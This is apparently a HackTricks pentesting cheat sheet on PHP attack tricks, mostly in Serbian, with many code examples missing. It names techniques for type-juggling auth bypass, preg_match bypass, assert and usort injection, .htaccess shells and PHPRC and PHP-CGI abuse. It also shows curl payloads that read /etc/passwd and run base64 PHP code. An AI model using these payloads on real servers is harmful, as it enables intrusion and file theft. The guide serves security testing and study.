PHP Tricks
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem. Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
Ovo važi i za phpMyAdmin kolačiće.
Cookies:
Lokacije:
Ako se ==
koristi u PHP-u, postoje neočekivani slučajevi gde upoređivanje ne funkcioniše kako se očekuje. To je zato što "==" upoređuje samo vrednosti transformisane u isti tip, ako takođe želite da uporedite da li je tip upoređivanih podataka isti, morate koristiti ===
.
PHP tabele upoređivanja: https://www.php.net/manual/en/types.comparisons.php
"string" == 0 -> True
String koji ne počinje brojem je jednak broju
"0xAAAA" == "43690" -> True
Stringovi sastavljeni od brojeva u dec ili hex formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi)
"0e3264578" == 0 --> True
String koji počinje sa "0e" i nakon toga sledi bilo šta biće jednak 0
"0X3264578" == 0X --> True
String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga sledi bilo šta biće jednak 0
"0e12334" == "0" --> True
Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete da obezbedite vrednost koja će kreirati heš koji počinje sa "0e" i bez bilo kog slova, mogli biste da zaobiđete upoređivanje. Možete pronaći već heširane stringove sa ovim formatom ovde: https://github.com/spaze/hashes
"X" == 0 --> True
Svako slovo u stringu je jednako int 0
Više informacija na https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
Type Juggling takođe utiče na funkciju in_array()
po defaultu (morate postaviti treći argument na true da biste napravili strogo upoređivanje):
Ako se ova funkcija koristi za bilo koju proveru autentifikacije (kao što je provera lozinke) i korisnik kontroliše jednu stranu poređenja, može poslati prazan niz umesto stringa kao vrednost lozinke (https://example.com/login.php/?username=admin&password[]=
) i zaobići ovu proveru:
Ista greška se javlja sa strcasecmp()
Čak i ako se koristi ===
, mogu se javiti greške koje čine da je upoređivanje ranjivo na tipiziranje. Na primer, ako upoređivanje konvertuje podatke u drugi tip objekta pre upoređivanja:
preg_match()
se može koristiti za validaciju korisničkog unosa (on proverava da li je neka reč/regex iz crne liste prisutna u korisničkom unosu i ako nije, kod može nastaviti sa izvršavanjem).
Međutim, kada se određuje početak regexp-a, preg_match()
proverava samo prvu liniju korisničkog unosa, a zatim, ako nekako možete poslati unos u više linija, mogli biste biti u mogućnosti da zaobiđete ovu proveru. Primer:
Da biste zaobišli ovu proveru, možete poslati vrednost sa novim redovima urlkodiranim (%0A
) ili ako možete poslati JSON podatke, pošaljite ih u several lines:
Find an example here: https://ramadistra.dev/fbctf-2019-rceservice
(Ovaj bypass je očigledno testiran na PHP 5.2.5 i nisam mogao da ga pokrenem na PHP 7.3.15)
Ako možete poslati preg_match()
važeći veoma veliki unos, neće moći da ga obradi i moći ćete da zaobiđete proveru. Na primer, ako se crna lista JSON-a, mogli biste poslati:
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
Trik iz: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 i https://mizu.re/post/pong
Ukratko, problem se dešava jer preg_*
funkcije u PHP-u koriste PCRE biblioteku. U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit podrazumevano iznosi 100.000 što je više nego što stane na stek.
Ova Stackoverflow tema je takođe povezana u postu gde se detaljnije govori o ovom problemu. Naš zadatak je sada bio jasan:
Pošaljite ulaz koji bi naterao regex da izvrši 100_000+ rekurzija, uzrokujući SIGSEGV, čineći da preg_match()
funkcija vrati false
, čime aplikacija misli da naš ulaz nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput {system(<verybadcommand>)}
da bi dobili SSTI --> RCE --> flag :).
Pa, u terminima regex-a, zapravo ne radimo 100k "rekurzija", već umesto toga brojimo "korake unazad", što, kao što PHP dokumentacija navodi, podrazumevano iznosi 1_000_000 (1M) u pcre.backtrack_limit
varijabli.
Da bismo to postigli, 'X'*500_001
će rezultirati u 1 milion koraka unazad (500k unapred i 500k unazad):
Ako PHP preusmerava na drugu stranicu, ali nijedna die
ili exit
funkcija nije pozvana nakon što je postavljen header Location
, PHP nastavlja sa izvršavanjem i dodaje podatke u telo:
Proverite:
File Inclusion/Path traversalregister_globals: U PHP < 4.1.1.1 ili ako je pogrešno konfigurisano, register_globals može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što su $_GET, ako imaju vrednost npr. $_GET["param"]="1234", možete mu pristupiti putem $param. Stoga, slanjem HTTP parametara možete prepisati promenljive koje se koriste unutar koda.
PHPSESSION kolačići iste domene se čuvaju na istom mestu, stoga ako unutar domene različiti kolačići se koriste na različitim putanjama možete učiniti da putanja pristupi kolačiću druge putanje postavljanjem vrednosti kolačića druge putanje. Na ovaj način, ako obe putanje pristupaju promenljivoj sa istim imenom možete učiniti da vrednost te promenljive u putanji1 važi za putanju2. I tada će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2).
Kada imate korisnička imena korisnika mašine. Proverite adresu: /~<USERNAME> da vidite da li su php direktorijumi aktivirani.
Ove funkcije se obično koriste u PHP-u da generišu hešove iz lozinki i da provere da li je lozinka tačna u poređenju sa hešom.
Podržani algoritmi su: PASSWORD_DEFAULT
i PASSWORD_BCRYPT
(počinje sa $2y$
). Imajte na umu da je PASSWORD_DEFAULT često isto što i PASSWORD_BCRYPT. A trenutno, PASSWORD_BCRYPT ima ograničenje veličine ulaza od 72bajta. Stoga, kada pokušate da hešujete nešto veće od 72bajta sa ovim algoritmom, biće korišćeno samo prvih 72B:
Iz ove twitter niti možete videti da slanje više od 1000 GET parametara ili 1000 POST parametara ili 20 fajlova, PHP neće postaviti zaglavlja u odgovoru.
Omogućava zaobilaženje, na primer, CSP zaglavlja koja se postavljaju u kodovima kao:
Ako PHP stranica ispisuje greške i vraća neki unos koji je obezbedio korisnik, korisnik može naterati PHP server da vrati neki sadržaj dovoljno dug tako da kada pokuša da doda zaglavlja u odgovor, server će baciti grešku. U sledećem scenariju napadač je naterao server da baci neke velike greške, i kao što možete videti na ekranu kada je PHP pokušao da izmeni informacije o zaglavlju, nije mogao (tako da, na primer, CSP zaglavlje nije poslato korisniku):
Proverite stranicu:
PHP SSRFsystem("ls"); &#xNAN;`ls`; shell_exec("ls");
Proverite ovo za više korisnih PHP funkcija
Da bi se izvršio kod u "replace" argumentu, potrebna je najmanje jedna podudarnost. Ova opcija preg_replace je ukinuta od PHP 5.5.0.
Ova funkcija unutar php omogućava vam da izvršite kod koji je napisan u stringu kako biste vratili true ili false (i u zavisnosti od toga promenili izvršenje). Obično će korisnička promenljiva biti umetnuta u sredinu stringa. Na primer:
assert("strpos($_GET['page']),'..') === false")
--> U ovom slučaju da biste dobili RCE mogli biste uraditi:
Biće potrebno da razbijete sintaksu koda, dodate svoj payload, a zatim ponovo to ispravite. Možete koristiti logičke operacije kao što su "and" ili "%26%26" ili "|". Imajte na umu da "or", "||" ne funkcioniše jer ako je prvi uslov tačan, naš payload se neće izvršiti. Na isti način ";" ne funkcioniše jer se naš payload neće izvršiti.
Druga opcija je da dodate izvršenje komande u string: '.highlight_file('.passwd').'
Druga opcija (ako imate unutrašnji kod) je da modifikujete neku promenljivu da biste promenili izvršenje: $file = "hola"
Ova funkcija se koristi za sortiranje niza stavki koristeći specifičnu funkciju. Da biste zloupotrebili ovu funkciju:
You can also use // to comment the rest of the code.
To discover the number of parenthesis that you need to close:
?order=id;}//
: dobijamo poruku o grešci (Parse error: syntax error, unexpected ';'
). Verovatno nam nedostaje jedan ili više zagrada.
?order=id);}//
: dobijamo upozorenje. To izgleda u redu.
?order=id));}//
: dobijamo poruku o grešci (Parse error: syntax error, unexpected ')' i
). Verovatno imamo previše zatvorenih zagrada.
If you can upload a .htaccess, then you can configure several things and even execute code (configuring that files with extension .htaccess can be executed).
Different .htaccess shells can be found here
If you find a vulnerability that allows you to modify env variables in PHP (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get RCE.
LD_PRELOAD
: Ova env varijabla omogućava učitavanje proizvoljnih biblioteka prilikom izvršavanja drugih binarnih datoteka (iako u ovom slučaju možda neće raditi).
PHPRC
: Upravlja PHP-om o tome gde da locira svoj konfiguracioni fajl, obično nazvan php.ini
. Ako možete da otpremite svoj konfiguracioni fajl, onda, koristite PHPRC
da usmerite PHP ka njemu. Dodajte auto_prepend_file
unos koji specificira drugi otpremljeni fajl. Ovaj drugi fajl sadrži normalan PHP kod, koji se zatim izvršava od strane PHP runtime-a pre bilo kog drugog koda.
Otpremite PHP fajl koji sadrži naš shellcode
Otpremite drugi fajl, koji sadrži auto_prepend_file
direktivu koja upravlja PHP preprocesorom da izvrši fajl koji smo otpremili u koraku 1
Postavite PHPRC
varijablu na fajl koji smo otpremili u koraku 2.
Get more info on how to execute this chain from the original report.
PHPRC - another option
If you cannot upload files, you could use in FreeBSD the "file" /dev/fd/0
which contains the stdin
, being the body of the request sent to the stdin
:
curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
Or to get RCE, enable allow_url_include
and prepend a file with base64 PHP code:
curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
Technique from this report.
Web server analizira HTTP zahteve i prosleđuje ih PHP skripti koja izvršava zahtev kao http://host/cgi.php?foo=bar
kao php.exe cgi.php foo=bar
, što omogućava injekciju parametara. Ovo bi omogućilo injekciju sledećih parametara za učitavanje PHP koda iz tela:
Pored toga, moguće je injektovati parametar "-" koristeći karakter 0xAD zbog kasnije normalizacije PHP-a. Proverite primer eksploata iz ovog posta:
U ovom postu moguće je pronaći sjajne ideje za generisanje brain fuck PHP koda sa vrlo malo dozvoljenih karaktera. Pored toga, predložena je i zanimljiva metoda za izvršavanje funkcija koja im je omogućila da zaobiđu nekoliko provera:
Pogledajte da li možete umetnuti kod u pozive ovih funkcija (iz ovde):
Ako debagujete PHP aplikaciju, možete globalno omogućiti štampanje grešaka u /etc/php5/apache2/php.ini
dodavanjem display_errors = On
i restartovanjem apache-a: sudo systemctl restart apache2
Možete koristiti web www.unphp.net za deobfuskaciju php koda.
PHP Wrappers i protokoli mogu vam omogućiti da obiđete zaštite za pisanje i čitanje u sistemu i kompromitujete ga. Za više informacija proverite ovu stranicu.
Ako vidite da je Xdebug omogućen u phpconfig()
izlazu, trebali biste pokušati da dobijete RCE putem https://github.com/nqxcode/xdebug-exploit
Ako na stranici možete napraviti novi objekat proizvoljne klase možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:
PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Prema ovoj analizi moguće je generisati jednostavan shellcode na ovaj način:
Dakle, ako možete izvršiti proizvoljni PHP bez brojeva i slova možete poslati zahtev poput sledećeg koristeći tu korisnu funkcionalnost za izvršavanje proizvoljnog PHP:
Za detaljnije objašnjenje pogledajte https://ctf-wiki.org/web/php/php/#preg_match
Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem. Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)